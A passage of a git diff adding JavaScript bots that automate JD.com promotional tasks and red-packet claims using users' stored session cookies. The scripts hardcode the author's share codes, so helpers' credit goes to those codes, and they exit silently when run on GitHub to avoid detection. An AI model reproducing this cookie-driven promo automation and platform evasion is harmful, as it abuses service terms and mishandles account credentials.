Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_split.js b/activity/jd_split.js new file mode 100644 index 0000000..e8c02d6 --- /dev/null +++ b/activity/jd_split.js @@ -0,0 +1,312 @@ +/* +金榜年终奖 +脚本会给内置的码进行助力 +活动时间:2020-12-12日结束 +活动入口:京东APP首页右边浮动飘窗 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#金榜年终奖 +10 0 * * * jd_split.js, tag=年终奖, enabled=true + +================Loon============== +[Script] +cron "10 0 * * *" script-path=jd_split.js,tag=年终奖 + +===============Surge================= +金榜年终奖 = type=cron,cronexp="10 0 * * *",wake-system=1,timeout=3600,script-path=jd_split.js + +============小火箭========= +金榜年终奖 = type=cron,script-path=jd_split.js, cronexpr="10 0 * * *", timeout=3600, enable=true + */ +const $ = new Env('金榜年终奖'); + +const notify = $.isNode() ? require('../sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +$.newShareCodes = [`P04z54XCjVUnIaW5nJcXCCyoR8C6p8txXBH`, 'P04z54XCjVUnIaW5m9cZ2T6jChKki0Hfndla5k', 'P04z54XCjVUnIaW5u2ak7ZCdan1BT0NlbBGZ1-rnMYj', 'P04z54XCjVUnIaW5m9cZ2ariXVJwI64DaVTNXQ']; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdSplit() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdSplit() { + await helpFriends(); + await jdsplit_getTaskDetail(); + await doTask(); + await showMsg(); +} +function showMsg() { + return new Promise(resolve => { + message += `任务已做完:具体奖品去发活动页面查看\n活动入口:京东APP首页右边浮动飘窗`; + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + resolve() + }) +} +async function helpFriends() { + for (let code of $.newShareCodes) { + if (!code) continue + const helpRes = await jdsplit_collectScore(code,6,null); + if (helpRes.code === 0 && helpRes.data.bizCode === -7) { + console.log(`助力机会已耗尽,跳出`); + break + } + } +} +async function doTask() { + for (let item of $.taskVos) { + if (item.taskType === 8) { + //看看商品任务 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + for (let task of item.productInfoVos) { + if (task.status === 1) { + await jdsplit_collectScore(task.taskToken,item.taskId,task.itemId,1); + await $.wait(4000) + await jdsplit_collectScore(task.taskToken,item.taskId,task.itemId,0); + } + } + await jdsplit_getLottery(item.taskId) + } else if(item.status!==4){ + await jdsplit_getLottery(item.taskId) + console.log(`${item.taskName}已做完`) + } + } + if (item.taskType === 9) { + //逛会场任务 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + for (let task of item.shoppingActivityVos) { + if (task.status === 1) { + await jdsplit_collectScore(task.taskToken,item.taskId,task.itemId,1); + await $.wait(4000) + await jdsplit_collectScore(task.taskToken,item.taskId,task.itemId,0); + } + } + await jdsplit_getLottery(item.taskId) + } else if(item.status!==4){ + await jdsplit_getLottery(item.taskId) + console.log(`${item.taskName}已做完`) + } + } + } +} + +//领取做完任务的奖励 +function jdsplit_collectScore(taskToken, taskId, itemId, actionType=0) { + return new Promise(resolve => { + let body = { "appId":"1EFRTwA","taskToken":taskToken,"taskId":taskId,"itemId":itemId,"actionType":actionType } + $.post(taskPostUrl("harmony_collectScore", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.data.bizCode === 1){ + console.log(`任务领取成功`); + } + else if (data.data.bizCode === 0) { + if(data.data.result.taskType===6){ + console.log(`助力好友:${data.data.result.itemId}成功!`) + }else + console.log(`任务完成成功`); + } else { + console.log(`${data.data.bizMsg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 抽奖 +function jdsplit_getLottery(taskId) { + return new Promise(resolve => { + let body = { "appId":"1EFRTwA","taskId":taskId} + $.post(taskPostUrl("splitHongbao_getLotteryResult", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + console.log(`红包领取结果:${data.data.result.userAwardsCacheDto.redPacketVO.name}`); + } else { + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function jdsplit_getTaskDetail() { + return new Promise(resolve => { + $.post(taskPostUrl("splitHongbao_getHomeData", {"appId":"1EFRTwA","taskToken":""}, ), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + $.taskVos = data.data.result.taskVos;//任务列表 + $.taskVos.map(item => { + if (item.taskType === 6) { + console.log(`\n您的${$.name}好友助力邀请码:${item.assistTaskDetailVo.taskToken}\n`) + } + }) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskPostUrl(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=9.1.0`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_super_box.js b/activity/jd_super_box.js new file mode 100644 index 0000000..af67e11 --- /dev/null +++ b/activity/jd_super_box.js @@ -0,0 +1,511 @@ +/* +京东超级盒子 +活动时间:未知 +更新地址:jd_super_box.js +活动入口:https://prodev.m.jd.com/mall/active/21uMxFV5yiP4ivdSbmHqv5f2aXFK/index.html?tttparams=TiOY=woeyJnTG5nIjoiMTIwLjg3NTY0MSIsImdMYXQiOiIzMS4yODMxMzYifQ7== +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东超级盒子 +20 7 * * * jd_super_box.js, tag=京东超级盒子, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "20 7 * * *" script-path=jd_super_box.js,tag=京东超级盒子 + +===============Surge================= +京东超级盒子 = type=cron,cronexp="20 7 * * *",wake-system=1,timeout=3600,script-path=jd_super_box.js + +============小火箭========= +京东超级盒子 = type=cron,script-path=jd_super_box.js, cronexpr="20 7 * * *", timeout=3600, enable=true +*/ +const $ = new Env('京东超级盒子'); + +const notify = $.isNode() ? require('../sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +const randomCount = $.isNode() ? 20 : 5; + +const inviteCodes = [ + `O3eI2LwEpHNofuF6LxjNqw@Hvm2Tg0jWloh4bnPOa9wuA@RY7V2DbS5uInv_GGD7JuoQij_0m9TAUe-t_mpE-BHB4@dZGLTyomKT0ZmOYaa4FSu0Ch0ywXFSW7gXwe_z6nUFc@UHW6hnmrpOABeMMKc5kpng`, + `O3eI2LwEpHNofuF6LxjNqw@Hvm2Tg0jWloh4bnPOa9wuA@RY7V2DbS5uInv_GGD7JuoQij_0m9TAUe-t_mpE-BHB4@dZGLTyomKT0ZmOYaa4FSu0Ch0ywXFSW7gXwe_z6nUFc@UHW6hnmrpOABeMMKc5kpng`, +]; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0) +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + await requireConfig() + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.beans = 0 + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shareCodesFormat() + await superBox() + 